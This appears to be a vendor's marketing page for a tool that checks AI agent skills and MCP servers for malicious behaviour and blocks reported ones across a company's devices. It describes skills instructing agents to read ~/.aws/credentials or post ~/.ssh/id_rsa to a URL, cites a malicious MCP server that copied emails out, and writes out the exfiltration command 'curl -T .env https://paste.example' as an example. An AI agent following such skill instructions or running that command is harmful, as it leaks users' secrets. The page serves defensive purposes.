Solutions · By risk

Check each skill before your team trusts it. Block the bad ones on every device.

Supply Chain checks the skills and MCP servers your agents load before anyone trusts them, and blocks a reported one on every device.

Supply Chain

A skill can change what an agent does with your access.

Skills and MCP servers give an agent new instructions and tools, and the agent uses them with the employee's permissions.

A skill is a folder of instructions, usually a SKILL.md file with scripts, that tells an agent how to do a task. An MCP server is a program that gives the agent new tools, such as sending email. A malicious skill can tell the agent to read ~/.aws/credentials and send it to an outside server. An update can add the same instruction to a component your team has used for months.

Research from across the industry shows malicious components are already in public registries.

5%

of agent skills showed high-severity patterns that strongly suggest malicious intent.

31,132 skills analyzed from two major marketplaces; 26% had at least one vulnerability.

Some public skills your engineers install need a closer look before anyone trusts them.

"Agent Skills in the Wild", arXiv, January 2026

1,643

downloads of postmark-mcp, the first malicious MCP server reported in the wild.

From version 1.0.16, released September 17, 2025, it copied every email sent through it to an outside address.

A component can turn malicious in an update, so a changed version needs a new review.

Koi Security, reported by The Hacker News, September 2025

Vet components first. Respond fast when one is reported.

Findings

Check skills before anyone trusts them

Supply Chain checks each skill on the device against open Supply Chain Agent Threat Rules (ATR) for prompt injection, credential theft, data exfiltration, and unsafe execution. A skill that tells the agent to post ~/.ssh/id_rsa to a URL is flagged with the rule it matched, shown by an ID like ATR-2026-01988.

Trust

New versions wait for a decision

New skills, plugins, and MCP servers start unreviewed. A new version of a trusted skill needs its own trust decision, unless you trust its publisher.

Search

Find every device that has it

When an advisory names a malicious skill or MCP server, search for it in Control Plane and see every device that has it.

Block

Block it once

Control Plane sends a skill or plugin block to each device that has it and shows the status: requested, applied, or unsupported.

Vet what's installed, then respond when a report comes in.

  1. 01 · Supply ChainCheck it

    Push one package through your device management tool, such as Jamf, Iru, or Intune, and approve each device in Control Plane. Trust what your teams need and block what matches a critical rule.

  2. 02 · Supply ChainRespond to it

    Search for a reported skill, block it, and follow its status on each device until the block is applied.

  3. 03 · Runtime, optionalStop it

    Add Runtime to check agent actions before they run, such as curl -T .env https://paste.example, including ones a skill asks for before a rule matches it.

See where the block has landed.

Open a skill to see the rule it matched and the block status on each device.

  • Block status per device: requested, applied, or unsupported
  • Devices still running a session that loaded the skill
  • The matched Supply Chain ATR rule ID and its severity

What a response can look like.

Illustrative example

A 1,200-person SaaS company.

This company is fictional. The numbers come from a modelled fleet, not a customer.

Read the example
  • A reported skill found on 23 of 1,200 devices in 6 minutes
  • Blocked on all 23 within 40 minutes
  • 21 confirmed blocked, 2 flagged as waiting for a new Claude session

Priced per device. Always predictable.

Supply Chain and Runtime are priced per device, alone or together, with free devices on every plan. Your bill depends on how many devices you cover, so heavier agent use doesn't change it, and finance can plan ahead.

Estimate your cost

What buyers ask us.

How do we deal with a risky MCP server?

Supply Chain lists every MCP server and every device that has one, so you know exactly where to act. Blocking a plugin stops the MCP server it brings from loading. A server someone added by hand is removed in the agent's own settings, since Supply Chain blocks skills and plugins. Add Runtime to check the tool calls agents make before they run.

How do we know a block has taken effect?

Control Plane shows the status on each device: requested, applied, or unsupported. A device whose running session already loaded the skill is flagged until a new session starts.

Does Supply Chain upload our skills to check them?

Your skills stay on your devices, because Supply Chain checks them where they sit. Control Plane receives each component's identity, hashes, findings, and coverage. Skill content, usernames, hostnames, file paths, and prompts stay on the device.

Built on these modules.

Before trust

Supply Chain

Find every AI agent on every device. Check every skill it loads.

See which AI agents run on each device and which identities they can reach, check the skills they load, and block what you don't trust.

Explore Supply Chain
While agents act

Runtime

Control risky agent actions. Before they execute.

Stop unsafe agent actions in real time while safe work carries on.

Explore Runtime

Early access

Reduce agent risk without slowing your teams down.

Start reducing agent risk before general release by checking agent components, controlling agent actions, and hunting through your AI security logs. Signals Corps Control Plane opens to early sign ups in the next few weeks, so join the waitlist with your company email.

Get early access